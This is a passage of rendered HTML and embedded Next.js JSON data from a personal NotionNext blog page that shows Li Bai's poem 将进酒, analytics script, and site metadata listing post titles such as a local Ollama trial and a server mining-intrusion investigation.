1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title"><b>将进酒</b></span></span></h2><div class="notion-text notion-block-53ad423b75f645859139ffab1180f2e0">李白〔唐代〕</div><div class="notion-text notion-block-a1bbce14f046495a8d325fb357639122">君不见黄河之水天上来,奔流到海不复回。
 君不见高堂明镜悲白发,朝如青丝暮成雪。
 人生得意须尽欢,莫使金樽空对月。
 天生我材必有用,千金散尽还复来。
@@ -16,4 +16,4 @@
                 gtag('config', 'G-XT4YTFWNBG', {
                   page_path: window.location.pathname,
                 });
-              </script></div><script id="__NEXT_DATA__" type="application/json" crossorigin="">{"props":{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection\u0026id=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026t=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026width=800"},"allNavPages":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf\u0026width=800\u0026fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":8,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"post":{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","date":{"start_date":"2024-01-01"},"type":"Post","category":"知行合一","slug":"article/begin","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"开始","status":"Published","publishDate":1704067200000,"publishDay":"Jan 1, 2024","lastEditedDate":"2024-01-19T09:15:24.923Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🏐","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":"","blockMap":{"block":{"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf":{"value":{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","version":226,"type":"page","content":["b33f1eb2-42c7-46e0-8f18-cc90501a4613","efb3a44e-b8e8-4a98-a9d6-39b6ca1c4ac4","f8c38272-129a-49f2-91f3-150812588f32","2d2f576f-7b74-4e78-b23d-2383f0c2bc91","53ad423b-75f6-4585-9139-ffab1180f2e0","a1bbce14-f046-495a-8d32-5fb357639122","12c9b40b-cb5f-4bc4-b346-b28b46f9ea5f"],"format":{"page_font":"serif","page_icon":"🏐","page_cover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb","block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","copied_from_pointer":{"id":"9d36e2f8-7b91-4160-9786-0a0bd635e859","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.5},"created_time":1705594337113,"last_edited_time":1705655724923,"parent_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","parent_table":"collection","alive":true,"copied_from":"9d36e2f8-7b91-4160-9786-0a0bd635e859","created_by_table":"notion_user","created_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","last_edited_by_table":"notion_user","last_edited_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"87ff73a8-1273-4f5f-96c1-cd1becb07207":{"value":{"id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","type":"collection_view_page","content":["50fa88a0-6936-488c-8abc-b558b6a7b0d6"],"view_ids":["8e40545c-4d1c-4299-8605-c04d7ab6872f","818d9fe2-a27d-40ec-b827-614939109ca4","ad494b39-a38c-415e-9221-325f0f9be280","58c6fb90-5030-4627-8bad-38b57c3253cd"],"collection_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","format":{"block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","collection_pointer":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","table":"collection","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"copied_from_pointer":{"id":"19c33d8c-a320-4635-ab97-ddf00a96c478","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.6},"permissions":[{"role":"editor","type":"user_permission","user_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16"},{"role":"comment_only","type":"public_permission","added_timestamp":1705594424869,"allow_duplicate":false,"allow_search_engine_indexing":true}],"created_time":1705594337173,"last_edited_time":1711431614088,"parent_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175","parent_table":"space","alive":true,"copied_from":"19c33d8c-a320-4635-ab97-ddf00a96c478"}},"b33f1eb2-42c7-46e0-8f18-cc90501a4613":{"value":{"id":"b33f1eb2-42c7-46e0-8f18-cc90501a4613","type":"header","properties":{"title":[["起始"]]},"format":{"copied_from_pointer":{"id":"eb8b6697-cce1-41c4-be07-ac04b269a695","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337138,"last_edited_time":1705630363962,"parent_id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","parent_table":"block","alive":true,"copied_from":"eb8b6697-cce1-41c4-be07-ac04b269a695"}},"efb3a44e-b8e8-4a98-a9d6-39b6ca1c4ac4":{"value":{"id":"efb3a44e-b8e8-4a98-a9d6-39b6ca1c4ac4","type":"quote","properties":{"title":[["慢也好,步子小也好,是在往前走就好"]]},"format":{"copied_from_pointer":{"id":"058f5d19-ff15-4ed1-aa36-2def2a2337c7","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337127,"last_edited_by":"27074aef-7216-41ed-baef-d9b53addd870","last_edited_time":1705632265977,"parent_id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","parent_table":"block","alive":true,"copied_from":"058f5d19-ff15-4ed1-aa36-2def2a2337c7"}},"f8c38272-129a-49f2-91f3-150812588f32":{"value":{"id":"f8c38272-129a-49f2-91f3-150812588f32","type":"callout","properties":{"title":[["生活的意义并不是与他人争高下,而在于享受努力实现目标的过程,结果只是对自己行动的嘉奖。"]]},"format":{"page_icon":"💡","block_color":"gray_background","copied_from_pointer":{"id":"7f01b446-59ba-4181-9ec4-385151a4d4fc","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337131,"last_edited_time":1705594337131,"parent_id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","parent_table":"block","alive":true,"copied_from":"7f01b446-59ba-4181-9ec4-385151a4d4fc"}},"2d2f576f-7b74-4e78-b23d-2383f0c2bc91":{"value":{"id":"2d2f576f-7b74-4e78-b23d-2383f0c2bc91","type":"header","properties":{"title":[["将进酒",[["b"]]]]},"format":{"copied_from_pointer":{"id":"6ec2b9c9-676c-443b-a750-0f16382c916a","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337130,"last_edited_time":1705655727454,"parent_id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","parent_table":"block","alive":true,"copied_from":"6ec2b9c9-676c-443b-a750-0f16382c916a"}},"53ad423b-75f6-4585-9139-ffab1180f2e0":{"value":{"id":"53ad423b-75f6-4585-9139-ffab1180f2e0","type":"text","properties":{"title":[["李白〔唐代〕"]]},"format":{"copied_from_pointer":{"id":"8b602d31-20c9-409f-8fb8-c98f5836c1e7","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337134,"last_edited_time":1705630515910,"parent_id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","parent_table":"block","alive":true,"copied_from":"8b602d31-20c9-409f-8fb8-c98f5836c1e7"}},"a1bbce14-f046-495a-8d32-5fb357639122":{"value":{"id":"a1bbce14-f046-495a-8d32-5fb357639122","type":"text","properties":{"title":[["君不见黄河之水天上来,奔流到海不复回。\n君不见高堂明镜悲白发,朝如青丝暮成雪。\n人生得意须尽欢,莫使金樽空对月。\n天生我材必有用,千金散尽还复来。\n烹羊宰牛且为乐,会须一饮三百杯。\n岑夫子,丹丘生,将进酒,杯莫停。\n与君歌一曲,请君为我倾耳听。\n钟鼓馔玉不足贵,但愿长醉不愿醒。\n古来圣贤皆寂寞,惟有饮者留其名。\n陈王昔时宴平乐,斗酒十千恣欢谑。\n主人何为言少钱,径须沽取对君酌。\n五花马、千金裘,呼儿将出换美酒,与尔同销万古愁。"]]},"format":{"copied_from_pointer":{"id":"e48a3c2b-90fa-4a2e-a352-04d028c9752a","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337138,"last_edited_time":1705594337138,"parent_id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","parent_table":"block","alive":true,"copied_from":"e48a3c2b-90fa-4a2e-a352-04d028c9752a"}},"12c9b40b-cb5f-4bc4-b346-b28b46f9ea5f":{"value":{"id":"12c9b40b-cb5f-4bc4-b346-b28b46f9ea5f","type":"text","created_time":1705630517913,"last_edited_time":1705630517915,"parent_id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","parent_table":"block","alive":true}}},"collection":{"3c6ddc29-47df-43f6-a375-de1c3a9cf466":{"value":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","version":13,"name":[["Both Savage"]],"description":[["一个NotionNext搭建的博客"]],"schema":{"@NcA":{"name":"password","type":"text"},"Dj]h":{"name":"icon","type":"text"},"NX\\Q":{"name":"date","type":"date","date_format":"YYYY/MM/DD"},"`gQ~":{"name":"type","type":"select","options":[{"id":"5aff2f95-fd1e-489b-8840-bf10bc9519cb","color":"purple","value":"Post"},{"id":"374d2bc6-a144-4832-8ca4-474aaae0ea1f","color":"orange","value":"Page"},{"id":"95b7fea5-98b3-476e-892f-79e8f36d0633","color":"brown","value":"Notice"},{"id":"2287395b-9f64-4852-b46f-ff3df4b4acef","color":"yellow","value":"Menu"},{"id":"50fefd65-c28e-4806-9183-aa12995f11f3","color":"pink","value":"SubMenu"},{"id":"b945f57d-dbcc-4603-9fab-5cfe447aad1b","color":"red","value":"CONFIG"}]},"bB{M":{"name":"category","type":"select","options":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","color":"pink","value":"知行合一"},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","color":"purple","value":"技术分享"},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","color":"orange","value":"心情随笔"},{"id":"9b3140e8-d1e6-414f-b86f-04f85b811596","color":"red","value":"未发布"}]},"d]hq":{"name":"slug","type":"text"},"sD^m":{"name":"tags","type":"multi_select","options":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","color":"red","value":"推荐"},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","color":"brown","value":"文字"},{"id":"438bae9c-df52-4fb0-8288-791c5ee8625c","color":"yellow","value":"思考"},{"id":"4ae52b3d-6ee9-4af5-9b79-0b7644adf259","color":"orange","value":"新闻"},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","color":"pink","value":"工具"},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","color":"pink","value":"开发"},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","color":"brown","value":"建站"},{"id":"569a8035-8738-40e8-a317-d6a6375f0b35","color":"green","value":"金钱"},{"id":"b39c0d81-6d40-4474-83fe-d8f44746a2d1","color":"pink","value":"健康"},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","color":"gray","value":"docker"},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","color":"blue","value":"自动化"},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","color":"purple","value":"折腾"},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","color":"default","value":"git"},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","color":"red","value":"日志"},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","color":"red","value":"微服务"},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","color":"purple","value":"spring"},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","color":"blue","value":"skywalking"}]},"wz|S":{"name":"summary","type":"text"},"title":{"name":"title","type":"title"},"f211bdc0-ee00-4186-9a7d-f68c055ec2ee":{"name":"status","type":"select","options":[{"id":"7abc61d4-b405-480d-b699-12588755fa65","color":"red","value":"Published"},{"id":"d1242312-e0a8-456d-b8f0-6e998e2c4fb2","color":"orange","value":"Invisible"},{"id":"41d5f5c6-b53c-42bc-8e0f-fc9402048480","color":"yellow","value":"Draft"}]}},"icon":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/c5ebdc5a-c3fd-403e-906b-17d64db6d01f/favicon.ico","cover":"/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","format":{"copied_from_pointer":{"id":"9c953404-2685-4385-a433-b3ca351eb